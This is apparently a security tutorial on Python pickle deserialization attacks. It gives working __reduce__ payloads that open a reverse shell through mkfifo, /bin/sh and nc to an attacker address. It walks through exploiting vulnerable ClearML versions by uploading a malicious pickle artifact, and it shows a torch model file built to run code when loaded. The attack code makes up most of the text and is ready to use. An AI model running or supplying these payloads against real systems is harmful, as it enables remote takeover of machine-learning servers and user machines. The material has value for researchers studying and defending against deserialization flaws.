Pickle exploit

According to the official doc: “The pickle module is not secure. Only unpickle data you trust. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never unpickle data that could have come from an untrusted source, or that could have been tampered with.” https://docs.python.org/3/library/pickle.html

What’s the danger of unpickling something that’s not trusted? Below is an example:

import os

class RCE:
    def __reduce__(self):
        cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f')
        return os.system, (cmd,)

Whenever an object is pickled, the __reduce__ method defined by it gets called. This method returns either a string, which may represent the name of a Python global, or a tuple describing how to reconstruct this object when unpickling. This can be used to achieve arbitrary code execution in many circumstances.

ClearML

With the AI topic being popular at the moment, there are many tools used to enhance the machine learning process, ClearML is one example: ClearML is an open source platform that automates and simplifies developing and managing machine learning solutions.

However, there is a serious RCE vulnerability for ClearML < 1.14.3rc that affected versions of this package are vulnerable to Deserialization of Untrusted Data. An attacker can execute arbitrary code on an end user’s system by uploading a malicious pickle file as an artifact that triggers the deserialization flaw when a user calls the get method within the Artifact class to download and load a file into memory.

To setup the lab, you will need a ClearML running a vulnerable version and an agent configured.

  • Start by creating a project and following the setup steps and create a credential like below:
api {
  web_server: http://url1
  api_server: http://url2
  files_server: http://url3
  credentials {
    "access_key" = "....."
    "secret_key" = "....."
  }
}
  • On your attacker box, install clearml sdk by: pip install clearml and init the environment
  • It will require you to paste the credentials created from before
> clearml-init
ClearML SDK setup process

Please create new clearml credentials through the settings page in your `clearml-server` web app (e.g. http://localhost:8080//settings/workspace-configuration)
Or create a free account at https://app.clear.ml/settings/workspace-configuration

In settings page, press "Create new credentials", then press "Copy to clipboard".

Paste copied configuration here:
api {
  web_server: http://url1
  api_server: http://url2
  files_server: http://url3
  credentials {
    "access_key" = "....."
    "secret_key" = "....."
  }
}
Detected credentials key="..." secret="..."

ClearML Hosts configuration:
Web App: http://url1
API: http://url2
File Store: http://url3

Verifying credentials ...
Credentials verified!

New configuration stored in /root/clearml.conf
ClearML setup completed successfully.
  • Then, you can use a script that looks like below to achieve RCE
import os
from clearml import Task

task = Task.init(project_name='test', task_name='test', tags=["tags"], task_type=Task.TaskTypes.data_processing)

class Pickle:
    def __reduce__(self):
        cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attack-ip 4444 >/tmp/f"
        return os.system, (cmd,)

task.upload_artifact(name='test', artifact_object=Pickle())
task.execute_remotely(queue_name='default')

torch

A similar application of pickle can be found in torch, which is a python package used for:

  • Tensor computation (like NumPy) with strong GPU acceleration
  • Deep neural networks built on a tape-based autograd system

Torch has a torch.load function that uses unpickle in an unsafe way: https://github.com/pytorch/pytorch/issues/52596

So, a torch model can be used to achieve arbitrary code execution in a similar manner like below:

import torch
import torch.nn as nn
import os

class Model(nn.Module):
    def __init__(self):
        super(Model, self).__init__()

    def __reduce__(self):
        cmd = "RCE payload"
        return os.system, (cmd,)

model = Model()
torch.save(model, 'test.pth')

The model test.pth, once loaded by a script, will execute the code defined in the __reduce__ method.